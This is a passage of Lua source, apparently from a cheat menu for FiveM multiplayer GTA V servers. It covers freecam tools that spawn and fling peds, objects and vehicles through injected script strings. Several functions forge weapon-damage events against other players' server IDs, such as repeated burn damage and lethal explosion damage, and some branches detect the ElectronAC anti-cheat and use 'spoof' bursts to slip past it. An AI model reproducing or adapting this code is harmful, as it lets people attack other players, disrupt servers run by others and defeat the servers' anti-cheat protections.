menu.utils.notify("Ped is blacklisted", "error", 2000) return end _G.pmFreecamShootPedSeq = (_G.pmFreecamShootPedSeq or 0) + 1 local uniqueId = _G.pmFreecamShootPedSeq local spawnPosition = origin + normalizedDirection * 1.2 spawnPosition = vector3(spawnPosition.x, spawnPosition.y, spawnPosition.z - 0.55) spawnPosition = vector3( spawnPosition.x - normalizedDirection.x * 0.28, spawnPosition.y - normalizedDirection.y * 0.28, spawnPosition.z - normalizedDirection.z * 0.28 ) local pitch = rotation.x local heading = rotation.z local pedType = string.sub(model, 1, 4) == "a_c_" and 28 or 4 local modelHash = GetHashKey(model) local formatNumber = menu.utils.freecamFormatSpawnNum local positionX = formatNumber(spawnPosition.x) local positionY = formatNumber(spawnPosition.y) local positionZ = formatNumber(spawnPosition.z) local spawnHeading = formatNumber(heading) local formattedPitch = formatNumber(pitch) local formattedHeading = formatNumber(heading) local velocityX = formatNumber(normalizedDirection.x) local velocityY = formatNumber(normalizedDirection.y) local velocityZ = formatNumber(normalizedDirection.z) local script = " local uniqueId = " .. tostring(uniqueId) .. [[ if _G.freecamShotPeds and _G.freecamShotPeds[uniqueId] then return end if not _G.freecamShotPeds then _G.freecamShotPeds = {} end local pedType = ]] .. tostring(pedType) .. [[ local playerCoords = GetEntityCoords(PlayerPedId()) local finalSpawnCoords = vector3(]] .. positionX .. ", " .. positionY .. ", " .. positionZ .. [[ ) local underPedZ = 20.0 local spawnCoords = vector3(playerCoords.x, playerCoords.y, playerCoords.z - underPedZ) local model = ]] .. tostring(modelHash) .. [[ RequestModel(model) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(model) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(model) then return end local ped = CreatePed(pedType, model, spawnCoords.x, spawnCoords.y, spawnCoords.z, ]] .. spawnHeading .. [[ , true, true) if not ped or not DoesEntityExist(ped) then SetModelAsNoLongerNeeded(model) return end _G.freecamShotPeds[uniqueId] = ped pcall(function() local ent = Entity(ped) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) ent.state:set("pm_freecam_spawned_ped", true, true) end end) SetEntityCoordsNoOffset(ped, playerCoords.x, playerCoords.y, playerCoords.z - underPedZ, false, false, false) SetEntityVelocity(ped, 0.0, 0.0, 0.0) SetEntityAsMissionEntity(ped, true, true) SetEntityNoCollisionEntity(ped, PlayerPedId(), true) SetEntityInvincible(ped, true) SetBlockingOfNonTemporaryEvents(ped, true) SetPedCanRagdoll(ped, true) --PED_APPLY-- local createThread = Citizen.CreateThread or CreateThread local waitFn = Citizen.Wait or Wait createThread(function() waitFn(100) if not DoesEntityExist(ped) then return end SetEntityCoords(ped, finalSpawnCoords.x, finalSpawnCoords.y, finalSpawnCoords.z, false, false, false, true) SetEntityRotation(ped, ]] .. formattedPitch .. ", 0.0, " .. formattedHeading .. [[ , 2, true) SetEntityVelocity(ped, 0.0, 0.0, 0.0) waitFn(0) if not DoesEntityExist(ped) then return end local speedStart = (40.0 / 3.6) * 5.0 SetEntityVelocity(ped, ]] .. velocityX .. " * speedStart, " .. velocityY .. " * speedStart, " .. velocityZ .. [[ * speedStart) waitFn(300) if DoesEntityExist(ped) then SetEntityInvincible(ped, false) local speed = (70 / 3.6) * 5.0 SetEntityVelocity(ped, ]] .. velocityX .. " * speed, " .. velocityY .. " * speed, " .. velocityZ .. [[ * speed) end end) createThread(function() waitFn(30000) if _G.freecamShotPeds and _G.freecamShotPeds[uniqueId] then _G.freecamShotPeds[uniqueId] = nil end end) SetModelAsNoLongerNeeded(model) ]] script = script:gsub("%-%-PED_APPLY%-%-", outfitScript ~= "" and outfitScript or "") menu.utils.safeExecute(menu.utils.freecamWrapSpawnExecuteCode(script)) end function menuUtilities.freecamShootParticle(origin, direction, unusedParameter) local state = menu.vars.freecamMenu if not state or not state.particleList then return end local particle = state.particleList[state.selectedParticleIndex or 1] if not particle or not particle.effect or not particle.asset then return end local position = menu.utils.getFreecamLookSpawnPosSync(1) if not position then if not origin or not direction then return end position = origin + direction * 50.0 end local spawnHeight = tonumber(particle.spawnHeight) or 100.0 local scale = 100.0 local effect = particle.effect local asset = particle.asset local script = string.format( [[ local asset = %q local effect = %q local spawnX, spawnY, finalZ = %.8f, %.8f, %.8f local scale = %.2f RequestNamedPtfxAsset(asset) local deadline = GetGameTimer() + 3000 while not HasNamedPtfxAssetLoaded(asset) and GetGameTimer() < deadline do Wait(0) end if not HasNamedPtfxAssetLoaded(asset) then return end UseParticleFxAssetNextCall(asset) StartNetworkedParticleFxNonLoopedAtCoord( effect, spawnX, spawnY, finalZ, 0.0, 0.0, 0.0, scale, true, true, true ) ]], asset, effect, position.x, position.y, position.z + spawnHeight, scale ) menu.utils.safeExecute(menu.utils.freecamWrapSpawnExecuteCode(script)) end function menuUtilities.freecamShootObject(origin, direction, rotation) local state = menu.vars.freecamMenu if not state or not state.shootObjectList then return end local selected = state.shootObjectList[state.selectedShootObjectIndex or 1] if not selected or not selected.model then return end local model = selected.model if menu.utils.isObjectWhitelisted and not menu.utils.isObjectWhitelisted(model) then menu.utils.notify("Object is blacklisted", "error", 2000) return end local spawnPosition, velocityDirection, pitch, roll, yaw if selected.shootFromCam then spawnPosition, velocityDirection, pitch, roll, yaw = menu.utils.getFreecamShootObjectFromCamTransform(origin, direction, rotation) else local position, ignoredResult, velocity, transformPitch, transformRoll, transformYaw = menu.utils.getFreecamShootObjectTransform({ spawnBackOffset = 25.0, modelName = model }) spawnPosition, velocityDirection, pitch, roll, yaw = position, velocity, transformPitch, transformRoll, transformYaw _ = ignoredResult end if not spawnPosition then return end local createFunction = menu.utils.isFreecamShootObjectNoOffset(model) and "CreateObjectNoOffset" or "CreateObject" local keepCollision = selected.shootCollision == true and 1 or 0 local freezeLaunch = menu.utils.isFreecamShootObjectFreezeLaunchModel(model) and 1 or 0 _G.pmFreecamShootObjectSeq = (_G.pmFreecamShootObjectSeq or 0) + 1 local uniqueId = _G.pmFreecamShootObjectSeq local script = string.format( [[ local uniqueId = %d local keepCollision = %d local freezeLaunch = %d if _G.freecamShotObjects and _G.freecamShotObjects[uniqueId] then return end if not _G.freecamShotObjects then _G.freecamShotObjects = {} end local modelName = %q local finalSpawnCoords = vector3(%.2f, %.2f, %.2f) local velX, velY, velZ = %.8f, %.8f, %.8f local rotPitch, rotRoll, rotYaw = %.2f, %.2f, %.2f local model = GetHashKey(modelName) RequestModel(model) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(model) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(model) then return end local obj = %s(model, finalSpawnCoords.x, finalSpawnCoords.y, finalSpawnCoords.z, true, true, true) if not obj or not DoesEntityExist(obj) then SetModelAsNoLongerNeeded(model) return end _G.freecamShotObjects[uniqueId] = obj pcall(function() local ent = Entity(obj) if ent and ent.state then ent.state:set("fO", 2296, true) end end) SetEntityCoordsNoOffset(obj, finalSpawnCoords.x, finalSpawnCoords.y, finalSpawnCoords.z, false, false, false) SetEntityRotation(obj, rotPitch, rotRoll, rotYaw, 2, true) SetEntityVelocity(obj, 0.0, 0.0, 0.0) SetEntityAsMissionEntity(obj, true, true) if keepCollision == 0 then SetEntityNoCollisionEntity(obj, PlayerPedId(), true) end SetEntityInvincible(obj, true) SetEntityHasGravity(obj, true) SetEntityDynamic(obj, true) SetEntityCollision(obj, true, true) if freezeLaunch == 1 then FreezeEntityPosition(obj, true) else FreezeEntityPosition(obj, false) end local createThread = Citizen.CreateThread or CreateThread local waitFn = Citizen.Wait or Wait createThread(function() if freezeLaunch == 1 then waitFn(100) end ActivatePhysics(obj) if freezeLaunch == 1 then FreezeEntityPosition(obj, false) end waitFn(0) if not DoesEntityExist(obj) then return end local speedStart = (40.0 / 3.6) * 5.0 SetEntityVelocity(obj, velX * speedStart, velY * speedStart, velZ * speedStart) ApplyForceToEntity(obj, 1, velX * speedStart * 4.0, velY * speedStart * 4.0, velZ * speedStart * 4.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) waitFn(300) if DoesEntityExist(obj) then SetEntityInvincible(obj, false) if keepCollision == 0 then SetEntityNoCollisionEntity(obj, PlayerPedId(), false) end local speed = (70 / 3.6) * 5.0 SetEntityVelocity(obj, velX * speed, velY * speed, velZ * speed) ApplyForceToEntity(obj, 1, velX * speed * 4.0, velY * speed * 4.0, velZ * speed * 4.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) end end) createThread(function() waitFn(30000) if _G.freecamShotObjects and _G.freecamShotObjects[uniqueId] then _G.freecamShotObjects[uniqueId] = nil end end) SetModelAsNoLongerNeeded(model) ]], uniqueId, keepCollision, freezeLaunch, model, spawnPosition.x, spawnPosition.y, spawnPosition.z, velocityDirection.x, velocityDirection.y, velocityDirection.z, pitch, roll, yaw, createFunction ) menu.utils.safeExecute(script) end function menuUtilities.freecamSpawnVehicle(origin, direction, rotation) if not _G.freecamVehicleSpawnTimer then _G.freecamVehicleSpawnTimer = GetGameTimer() + 1000 elseif GetGameTimer() > _G.freecamVehicleSpawnTimer then _G.freecamVehicleSpawnTimer = nil else return end local state = menu.vars.freecamMenu if not state then return end local model = state.spawnVehicleList[state.selectedVehicleIndex] if not model then return end if not menu.utils.isVehicleWhitelisted(model) then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local preview = menu.utils.getFreecamVehiclePreviewSpawn(model) if menu.utils.clearFreecamSpawnPreview then menu.utils.clearFreecamSpawnPreview() end local spawnPosition local heading = rotation.z if preview then spawnPosition = vector3(preview.x, preview.y, preview.z) heading = preview.heading or heading else local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay( origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 1, PlayerPedId(), 0 ) local status, hit, hitPosition = GetShapeTestResult(ray) local deadline = GetGameTimer() + 100 while status == 1 and deadline > GetGameTimer() do status, hit, hitPosition = GetShapeTestResult(ray) Citizen.Wait(0) end if status ~= 2 or not hit or not hitPosition then menu.utils.notify("No valid spawn surface", "error", 2000) return end RequestCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) RequestAdditionalCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) spawnPosition = vector3(hitPosition.x, hitPosition.y, hitPosition.z) end local modelHash = GetHashKey(model) if IsModelInCdimage(modelHash) then if not IsModelAVehicle(modelHash) then return end local script = string.format( [[ local spawnPos = vector3(%.2f, %.2f, %.2f) RequestCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) RequestAdditionalCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) local vehicleModel = "%s" _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnPos, %.2f, function(veh) if not veh or not DoesEntityExist(veh) then return end Citizen.Wait(50) SetEntityAsMissionEntity(veh, true, true) SetVehicleOnGroundProperly(veh) SetVehicleEngineOn(veh, true, true, false) end, %d) ]], spawnPosition.x, spawnPosition.y, spawnPosition.z, model, heading, menu.vars.bools.safeVehicleSpawn and 1 or 0 ) menu.utils.safeExecute(script) end end function menuUtilities.freecamMapDestroyer(origin, direction, rotation) _G.freecamMapDestroyerTimer = _G.freecamMapDestroyerTimer or 0 local currentTime = GetGameTimer() if currentTime < _G.freecamMapDestroyerTimer then return end _G.freecamMapDestroyerTimer = currentTime + 500 local state = menu.vars.freecamMenu if not state then return end local selected = state.mapDestroyerList[state.selectedMapDestroyerIndex] if not selected then return end local iterator, iteratorState, iteratorKey = ipairs(selected.objects or {}) for _, object in iterator, iteratorState, iteratorKey do if not menu.utils.isObjectWhitelisted(object) then menu.utils.notify("Object is blacklisted", "error", 2000) return end end local model if selected.isRandom then model = selected.objects[math.random(1, #selected.objects)] else model = selected.objects[1] end local transform = menu.utils.getFreecamPreviewTransform(model) if menu.utils.clearFreecamSpawnPreview then menu.utils.clearFreecamSpawnPreview() end if transform then menu.utils.spawnFreecamObjectFromTransform(model, transform) elseif menu.utils.isFreecamNeonRingSpawnModel(model) then menu.utils.spawnFreecamNeonRingObject(model) else menu.utils.spawnFreecamObjectFromRaycast(model, origin, direction, rotation) end end function menuUtilities.isFreecamShapeTestHit(value) return value == true or value == 1 end function menuUtilities.getFreecamCrosshairHitPos(origin, direction, flags) if not origin or not direction then return nil end flags = flags or 511 local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay( origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, flags, PlayerPedId(), 0 ) local status, hit, hitPosition local deadline = GetGameTimer() + 150 repeat status, hit, hitPosition = GetShapeTestResult(ray) if status == 1 then Wait(0) end until status ~= 1 or deadline <= GetGameTimer() if status ~= 2 or not menu.utils.isFreecamShapeTestHit(hit) or not hitPosition then return nil end RequestCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) RequestAdditionalCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) return vector3(hitPosition.x, hitPosition.y, hitPosition.z) end function menuUtilities.getFreecamCrosshairTargetPlayer(origin, direction, allowNearbyFallback) if not origin or not direction then return nil, nil end local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay( origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 511, PlayerPedId(), 0 ) local status, hit, hitPosition, surfaceNormal, hitEntity local deadline = GetGameTimer() + 150 repeat status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) if status == 1 then Wait(0) end until status ~= 1 or deadline <= GetGameTimer() if status ~= 2 or not menu.utils.isFreecamShapeTestHit(hit) or not hitPosition then return nil, nil end local targetPed if hitEntity and hitEntity ~= 0 and DoesEntityExist(hitEntity) then if IsEntityAPed(hitEntity) and IsPedAPlayer(hitEntity) and not IsEntityDead(hitEntity) then targetPed = hitEntity elseif IsEntityAVehicle(hitEntity) then local maxPassengers = GetVehicleMaxNumberOfPassengers(hitEntity) for seat = -1, maxPassengers - 1, 1 do local occupant = GetPedInVehicleSeat(hitEntity, seat) if occupant and occupant ~= 0 and DoesEntityExist(occupant) and IsPedAPlayer(occupant) and not IsEntityDead(occupant) then targetPed = occupant break end end end end if not targetPed and allowNearbyFallback ~= false then local closestDistance = 3.0 local iterator, state, key = ipairs(GetActivePlayers()) for _, playerId in iterator, state, key do if playerId ~= PlayerId() then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) and not IsEntityDead(ped) then local distance = #( vector3(hitPosition.x, hitPosition.y, hitPosition.z) - GetEntityCoords(ped) ) if closestDistance > distance then closestDistance = distance targetPed = ped end end end end end if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or targetPed == PlayerPedId() or IsEntityDead(targetPed) then return nil, nil end local iterator, state, key = ipairs(GetActivePlayers()) for _, playerId in iterator, state, key do if playerId ~= PlayerId() and GetPlayerPed(playerId) == targetPed then local serverId = GetPlayerServerId(playerId) if serverId and serverId > 0 then return targetPed, serverId end end end return nil, nil end function menuUtilities.sendFreecamFireBurnDamage(serverId, entity) if not Ham or not Ham.sendWeaponDamageEvent or not serverId or serverId <= 0 or not entity or entity == 0 or not DoesEntityExist(entity) or IsEntityDead(entity) then return end local distance = #(GetEntityCoords(PlayerPedId()) - GetEntityCoords(entity)) Ham.sendWeaponDamageEvent(serverId, { weaponHash = 1198879012, damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 20, overrideDamage = true, damageTime = GetNetworkTimeAccurate() or 0, f133 = true, isNetTargetPos = true, damageFlags = 513, f112Data = math.floor(distance) }) end pendingUtilityValue = 5000 menuUtilities.freecamFireFlameDurationMs = pendingUtilityValue function menuUtilities.spawnFreecamFireParticleBurst(x, y, z, scale) if x == nil or y == nil or z == nil then return end scale = tonumber(scale) or 0.85 local duration = menu.utils.freecamFireFlameDurationMs or 5000 RequestCollisionAtCoord(x, y, z) RequestAdditionalCollisionAtCoord(x, y, z) local script = string.format( [[ local baseX, baseY, baseZ, scale, durationMs = %.8f, %.8f, %.8f, %.2f, %d local asset = "core" local effect = "ent_sht_flame" RequestNamedPtfxAsset(asset) local deadline = GetGameTimer() + 1500 while not HasNamedPtfxAssetLoaded(asset) and GetGameTimer() < deadline do Wait(0) end if not HasNamedPtfxAssetLoaded(asset) then return end local offsets = { {0.0, 0.0, 0.05}, {0.62, 0.0, 0.05}, {-0.62, 0.0, 0.05}, {0.0, 0.62, 0.05}, {0.0, -0.62, 0.05}, {0.44, 0.44, 0.05}, {-0.44, 0.44, 0.05}, {0.44, -0.44, 0.05}, {-0.44, -0.44, 0.05}, {0.55, 0.22, 0.05}, {-0.55, 0.22, 0.05}, {0.55, -0.22, 0.05}, {-0.55, -0.22, 0.05}, {0.50, 0.0, 0.30}, {-0.50, 0.0, 0.30}, {0.0, 0.50, 0.30}, {0.0, -0.50, 0.30}, {0.36, 0.36, 0.30}, {-0.36, 0.36, 0.30}, {0.36, -0.36, 0.30}, {-0.36, -0.36, 0.30}, {0.28, 0.0, 0.55}, {-0.28, 0.0, 0.55}, {0.0, 0.28, 0.55}, {0.0, -0.28, 0.55}, } local handles = {} for _, off in ipairs(offsets) do UseParticleFxAssetNextCall(asset) local handle = StartParticleFxLoopedAtCoord( effect, baseX + off[1], baseY + off[2], baseZ + off[3], 0.0, 0.0, 0.0, scale, false, false, false ) if handle then handles[#handles + 1] = handle end end CreateThread(function() Wait(durationMs) for _, handle in ipairs(handles) do if DoesParticleFxLoopedExist(handle) then StopParticleFxLooped(handle, false) end end end) ]], x, y, z, scale, duration ) menu.utils.safeExecute(menu.utils.freecamWrapSpawnExecuteCode(script)) end function menuUtilities.isFreecamFireTargetAlive(entity, expectedEntity) if not entity or entity == 0 or not DoesEntityExist(entity) or (expectedEntity and entity ~= expectedEntity) or IsEntityDead(entity) or IsPedDeadOrDying(entity, true) then return false end return (GetEntityHealth(entity) or 0) > 0 end function menuUtilities.spawnFreecamFireParticlesOnPed(ped, expectedPed) if not menu.utils.isFreecamFireTargetAlive(ped, expectedPed) then return end local duration = menu.utils.freecamFireFlameDurationMs or 5000 expectedPed = expectedPed or ped local script = string.format( [[ local targetPed, expectedPedHandle, scale, durationMs = %d, %d, %.2f, %d if not DoesEntityExist(targetPed) or targetPed ~= expectedPedHandle then return end if IsEntityDead(targetPed) or IsPedDeadOrDying(targetPed, true) or (GetEntityHealth(targetPed) or 0) <= 0 then return end local asset = "core" local effect = "ent_sht_flame" RequestNamedPtfxAsset(asset) local deadline = GetGameTimer() + 1500 while not HasNamedPtfxAssetLoaded(asset) and GetGameTimer() < deadline do Wait(0) end if not HasNamedPtfxAssetLoaded(asset) then return end local offsets = { {0.0, 0.0, 0.05}, {0.62, 0.0, 0.05}, {-0.62, 0.0, 0.05}, {0.0, 0.62, 0.05}, {0.0, -0.62, 0.05}, {0.44, 0.44, 0.05}, {-0.44, 0.44, 0.05}, {0.44, -0.44, 0.05}, {-0.44, -0.44, 0.05}, {0.55, 0.22, 0.05}, {-0.55, 0.22, 0.05}, {0.55, -0.22, 0.05}, {-0.55, -0.22, 0.05}, {0.50, 0.0, 0.30}, {-0.50, 0.0, 0.30}, {0.0, 0.50, 0.30}, {0.0, -0.50, 0.30}, {0.36, 0.36, 0.30}, {-0.36, 0.36, 0.30}, {0.36, -0.36, 0.30}, {-0.36, -0.36, 0.30}, {0.28, 0.0, 0.55}, {-0.28, 0.0, 0.55}, {0.0, 0.28, 0.55}, {0.0, -0.28, 0.55}, } local handles = {} for _, off in ipairs(offsets) do UseParticleFxAssetNextCall(asset) local handle = StartParticleFxLoopedOnEntity( effect, targetPed, off[1], off[2], off[3], 0.0, 0.0, 0.0, scale, false, false, false ) if handle then handles[#handles + 1] = handle end end CreateThread(function() Wait(durationMs) if not DoesEntityExist(targetPed) or targetPed ~= expectedPedHandle then for _, handle in ipairs(handles) do if DoesParticleFxLoopedExist(handle) then StopParticleFxLooped(handle, false) end end return end for _, handle in ipairs(handles) do if DoesParticleFxLoopedExist(handle) then StopParticleFxLooped(handle, false) end end end) ]], ped, expectedPed, 0.85, duration ) menu.utils.safeExecute(menu.utils.freecamWrapSpawnExecuteCode(script)) end function menuUtilities.startFreecamFireOnPlayer(serverId) if not Ham or not Ham.sendWeaponDamageEvent or not serverId or serverId <= 0 then return end if serverId == GetPlayerServerId(PlayerId()) then menu.utils.notify("Cannot burn yourself", "error", 2000) return end menu.vars.freecamFirePlayerLoops = menu.vars.freecamFirePlayerLoops or {} menu.vars.freecamFirePlayerCompleted = menu.vars.freecamFirePlayerCompleted or {} if menu.vars.freecamFirePlayerCompleted[serverId] or menu.vars.freecamFirePlayerLoops[serverId] then return end local playerId = GetPlayerFromServerId(serverId) local ped = playerId and playerId ~= -1 and GetPlayerPed(playerId) or 0 if not menu.utils.isFreecamFireTargetAlive(ped) then return end local expectedPed = ped menu.vars.freecamFirePlayerLoops[serverId] = true menu.vars.freecamFireBurnPedHandles = menu.vars.freecamFireBurnPedHandles or {} menu.vars.freecamFireBurnPedHandles[serverId] = expectedPed CreateThread(function() local lastDamageAt = 0 local lastFlameAt = 0 local flameDuration = menu.utils.freecamFireFlameDurationMs or 5000 local function finishFireLoop() menu.vars.freecamFirePlayerLoops[serverId] = nil if menu.vars.freecamFireBurnPedHandles then menu.vars.freecamFireBurnPedHandles[serverId] = nil end menu.vars.freecamFirePlayerCompleted[serverId] = true end while menu.vars.freecamFirePlayerLoops[serverId] do playerId = GetPlayerFromServerId(serverId) ped = playerId and playerId ~= -1 and GetPlayerPed(playerId) or 0 if not menu.utils.isFreecamFireTargetAlive(ped, expectedPed) then finishFireLoop() break end local currentTime = GetGameTimer() if flameDuration <= currentTime - lastFlameAt then menu.utils.spawnFreecamFireParticlesOnPed(ped, expectedPed) lastFlameAt = currentTime end if 400 <= currentTime - lastDamageAt then menu.utils.sendFreecamFireBurnDamage(serverId, ped) lastDamageAt = currentTime end Wait(50) end if menu.vars.freecamFirePlayerLoops[serverId] then finishFireLoop() end end) end function menuUtilities.freecamSpawnFire(origin, direction, unusedParameter) if not menu.vars.freecamMenu or not origin or not direction then return end local targetPed, serverId = menu.utils.getFreecamCrosshairTargetPlayer(origin, direction, false) if targetPed and serverId then menu.utils.startFreecamFireOnPlayer(serverId) return end local hitPosition = menu.utils.getFreecamCrosshairHitPos(origin, direction, 511) if not hitPosition then return end local state = menu.vars.freecamMenu local currentTime = GetGameTimer() local moved = not state.lastGroundFirePos or #(hitPosition - state.lastGroundFirePos) > 0.75 if not moved and currentTime - (state.lastGroundFireBurstAt or 0) < 800 then return end state.lastGroundFirePos = hitPosition state.lastGroundFireBurstAt = currentTime menu.utils.spawnFreecamFireParticleBurst(hitPosition.x, hitPosition.y, hitPosition.z, 0.85) end function menuUtilities.spawnFreecamClientSideExplosion(x, y, z, scale) if x == nil or y == nil or z == nil then return end scale = math.max(tonumber(scale) or 1.15, 0.1) RequestCollisionAtCoord(x, y, z) RequestAdditionalCollisionAtCoord(x, y, z) local script = string.format( [[ RequestNamedPtfxAsset("core") local deadline = GetGameTimer() + 1500 while not HasNamedPtfxAssetLoaded("core") and GetGameTimer() < deadline do Wait(0) end if HasNamedPtfxAssetLoaded("core") then UseParticleFxAsset("core") StartParticleFxNonLoopedAtCoord("exp_air_rpg", %.8f, %.8f, %.8f, 0.0, 0.0, 0.0, %.4f, false, false, false) end ]], x, y, z + 0.15, scale ) menu.utils.safeExecute(menu.utils.freecamWrapSpawnExecuteCode(script)) end function menuUtilities.freecamSpawnExplosion(origin, direction, unusedParameter, options) options = options or {} if not options.allowOutsideFreecam and not menu.vars.freecamMenu then return end if not Ham or not Ham.sendWeaponDamageEvent then return end local playerPed = PlayerPedId() local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay( origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 1, options.ignoreVehicle or playerPed, 0 ) local status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) if not hit or not hitPosition then return end local vehicle = menu.utils.getVehicleFromRaycast(nil, { allowFallback = false }) if vehicle and options.ignoreVehicle and vehicle == options.ignoreVehicle then vehicle = nil end local explosionPosition = vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) and GetEntityCoords(vehicle) or vector3(hitPosition.x, hitPosition.y, hitPosition.z) local electronAc = menu.vars.antiCheats and menu.vars.antiCheats.ElectronAC ~= nil local weaponHash = menu.utils.getSpawnExplosionWeaponHash() local playerCoords = GetEntityCoords(playerPed) local targets = {} local iterator, state, key = ipairs(GetActivePlayers()) for _, playerId in iterator, state, key do repeat if playerId == PlayerId() or not NetworkIsPlayerActive(playerId) then break end local targetPed = GetPlayerPed(playerId) if targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) or menu.utils.isPedFriend(targetPed) then break end local inVehicle = IsPedInAnyVehicle(targetPed, false) if (electronAc and not inVehicle) or (not electronAc and inVehicle) then break end local targetDistance = #(GetEntityCoords(targetPed) - explosionPosition) if targetDistance <= 5.0 then local serverId = GetPlayerServerId(playerId) if serverId and serverId > 0 then targets[#targets + 1] = { ped = targetPed, sid = serverId, dist = targetDistance } end end until true end table.sort(targets, function(first, second) return first.dist < second.dist end) local targetCount = math.min(2, #targets) menu.utils.spawnFreecamClientSideExplosion(explosionPosition.x, explosionPosition.y, explosionPosition.z) if not electronAc and vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) and menu.functions.sendExplodeVehicleDamageEvent then menu.functions.sendExplodeVehicleDamageEvent(vehicle, NetworkGetNetworkIdFromEntity(playerPed)) end if targetCount <= 0 then return end Citizen.CreateThread(function() if not electronAc and menu.functions.beginFreecamSpawnExplosionVehicleSpoofBurst then menu.functions.beginFreecamSpawnExplosionVehicleSpoofBurst() end for index = 1, targetCount, 1 do local target = targets[index] local targetPed = target.ped repeat if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then break end local distance = #(playerCoords - GetEntityCoords(targetPed)) local networkId = NetworkGetNetworkIdFromEntity(targetPed) if not networkId or networkId == 0 then break end local boneCoords = GetPedBoneCoords(targetPed, 24818, 0.0, 0.0, 0.0) if not boneCoords or not boneCoords.x then break end local localPosition = GetOffsetFromEntityGivenWorldCoords(targetPed, boneCoords.x, boneCoords.y, boneCoords.z) if not localPosition or localPosition.x == nil then break end Ham.sendWeaponDamageEvent(target.sid, { weaponHash = weaponHash, damage = 200, damageType = 3, hitGlobalId = networkId, hitComponent = 0, overrideDamage = true, damageFlags = 0, actionResultName = 0, actionResultId = 0, f104 = 0, isNetTargetPos = true, localPosX = localPosition.x, localPosY = localPosition.y, localPosZ = localPosition.z, f112Data = distance, willKill = true, f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) until true end Wait(75) if not electronAc and menu.functions.endFreecamSpawnExplosionVehicleSpoofBurst then menu.functions.endFreecamSpawnExplosionVehicleSpoofBurst() end end) end function menuUtilities.freecamShootRPGFromFov() local ped = PlayerPedId() local weaponHash = GetHashKey("WEAPON_RPG") local unarmedHash = GetHashKey("WEAPON_UNARMED") SetCurrentPedWeapon(ped, unarmedHash, true) Wait(0) RemoveWeaponFromPed(ped, weaponHash) GiveWeaponToPed(ped, weaponHash, 250, true, false) Wait(0) local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) if not cameraPosition or not cameraRotation then RemoveWeaponFromPed(ped, weaponHash) SetCurrentPedWeapon(ped, unarmedHash, true) return end local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local direction = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) local endpoint = cameraPosition + direction * 1000.0 local ray = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, endpoint.x, endpoint.y, endpoint.z, -1, ped, 0 ) local status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) hitPosition = hit and hitPosition or endpoint RequestCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) RequestAdditionalCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) local deltaX, deltaY, deltaZ = hitPosition.x - cameraPosition.x, hitPosition.y - cameraPosition.y, hitPosition.z - cameraPosition.z local speed = math.max(math.sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ) * 2.0, 2000.0) if ShootSingleBulletBetweenCoordsIgnoreEntity then ShootSingleBulletBetweenCoordsIgnoreEntity( cameraPosition.x, cameraPosition.y, cameraPosition.z, hitPosition.x, hitPosition.y, hitPosition.z, 100, true, weaponHash, ped, true, false, speed, ped, true, false, true, true, true, false ) else ShootSingleBulletBetweenCoords( cameraPosition.x, cameraPosition.y, cameraPosition.z, hitPosition.x, hitPosition.y, hitPosition.z, 100, true, weaponHash, ped, true, false, -1.0 ) end RemoveWeaponFromPed(ped, weaponHash) SetCurrentPedWeapon(ped, unarmedHash, true) end function menuUtilities.freecamShootBulletFromFov(requestedShots) local playerPed = PlayerPedId() local pistolHash = GetHashKey("WEAPON_PISTOL") local unarmedHash = GetHashKey("WEAPON_UNARMED") local weaponDamage = 28 local shotCount = math.max(1, math.floor(requestedShots or 1)) local function clearPistolOverrides() if menu.vars.bools and menu.vars.bools.rageBot then return end if Ham and Ham.removeWeaponOverride then Ham.removeWeaponOverride(pistolHash) end if Ham and Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(pistolHash) end end if Ham and Ham.setWeaponOverride then Ham.setWeaponOverride(pistolHash, unarmedHash) end if Ham and Ham.setWeaponDamageOverride then Ham.setWeaponDamageOverride(pistolHash, weaponDamage) end RemoveWeaponFromPed(playerPed, pistolHash) if not HasPedGotWeapon(playerPed, unarmedHash, false) then GiveWeaponToPed(playerPed, unarmedHash, 250, true, false) end SetCurrentPedWeapon(playerPed, 